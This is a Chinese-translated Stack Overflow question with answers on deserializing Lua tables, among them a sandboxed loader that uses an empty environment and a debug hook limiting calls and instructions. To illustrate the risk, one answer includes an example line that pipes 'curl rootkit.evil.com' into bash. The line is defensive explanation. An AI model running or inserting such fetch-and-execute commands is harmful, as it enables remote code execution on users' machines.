【问题标题】:Deserialization in LuaLua中的反序列化
【发布时间】:2017-01-31 05:15:47
【问题描述】:

我已经在lua中序列化了一个表,lua有反序列化的函数吗?

function dump(o)
   if type(o) == 'table' then
   local s = '{ '
   for k,v in pairs(o) do
      if type(k) ~= 'number' then k = '"'..k..'"' end
      s = s .. '['..k..'] = ' .. dump(v) .. ','
   end
   return s .. '} '
   else
      return tostring(o)
   end
end

local people = {
   {
      name = "Fred",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Wilma",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Barney",
      address = "17 Long Street",
      phone = "123457"
   }

}
file = io.open("test.lua", "a")
file:write("People:", dump(people))

这个程序的输出是:
人:{ [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,[ “名称”] = 威尔玛, ["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}

请提出一种在 lua 中反序列化的方法。

【问题讨论】:

  • 您应该使用("%q"):format(o) 而不是tostring(o) 正确序列化字符串。然后将文件开头的People:替换为return ,并用local people = dofile("test.lua")进行反序列化

标签: serialization lua


【解决方案1】:

如果你稍微改变你的代码……

...
         end
         return s .. '} '
+++   elseif type(o) == 'string' then
+++      return ("%q"):format( o )
      else
        return tostring(o)
      end
...

……你生成了有效的 Lua。

现在可以

local function condfail( cond, ... )
    if not cond then  return nil, (...) end
    return ...
end

function deserialize( str, vars )
    -- create dummy environment
    local env = vars and setmetatable( {}, {__index=vars} ) or {}
    -- create function that returns deserialized value(s)
    local f, _err = load( "return "..str, "=deserialize", "t", env )
    if not f then  return nil, _err  end -- syntax error?
    -- set up safe runner
    local co = coroutine.create( f )
    local hook = function( )  debug.sethook( co, error, "c", 1000000 )  end
    debug.sethook( co, hook, "c" )
    -- now run the deserialization
    return condfail( coroutine.resume( co ) )
end

以合理安全的方式反序列化数据。

反序列化数据的不安全方法是简单地load( "return "..str )( ),但这将允许运行任意 Lua 代码。

首先,我们将函数放在一个单独的环境中,这样它就不会影响全局环境。 (否则,例如,print = function() os.execute "curl rootkit.evil.com | bash" end 会将函数替换为稍后从不同(未受保护的)上下文调用并运行任意代码的函数。)为方便起见,您可以传入一个表,以便数据可以引用 pre-定义的变量。 (你可能不需要这个,但如果你需要预定义的常量,这就是提供它们的方法。)

接下来,我们在一个单独的协程中运行该函数,这样我们就可以设置一个不影响程序其余部分的调试钩子。然后我们可以通过有效地设置debug.sethook( co, error, "c" ) 来禁止进行任何函数调用。 (因为“is”/返回您的数据的函数的初始调用已经触发了这个,我们延迟了一次调用。所以我们设置了一个钩子,在调用时将钩子更改为error。)

现在所有的函数调用都被禁止了,外部不能受到运行代码的影响。攻击者可以做的唯一剩下的事情就是浪费时间 - 例如。通过像while true do end::x:: goto x 这样的无限循环。所以我们在设置钩子的时候也设置了最大指令数——debug.sethook( co, error, "c", 1000000 )。对于相对较大的文件,一百万条指令应该足够了。这是一个任意限制——如果太小,请增加它。 (在一个循环中最多计数 250000 就足够了,因此可以创建超过这么多的原始值)。

【讨论】:

    【解决方案2】:

    反序列化数据的一种廉价方法是运行它。序列化时,您构建可执行源。就像您已经做的那样,但添加了一些细节 - 在表构造函数前面添加“return”,并用引号将字符串括起来,如果字符串内部包含引号,则可能需要进行一些转义。

    请注意,这仅适用于受信任的数据。当数据来自外部来源时,它可能不仅包含预期数据,还可能包含一些可能会破坏您的系统的代码。

    否则你可以试试 json,已经有很多库可用于 json 序列化/反序列化。

    【讨论】:

    • 为安全起见,请运行在沙箱中构建表的脚本。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2010-11-25
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多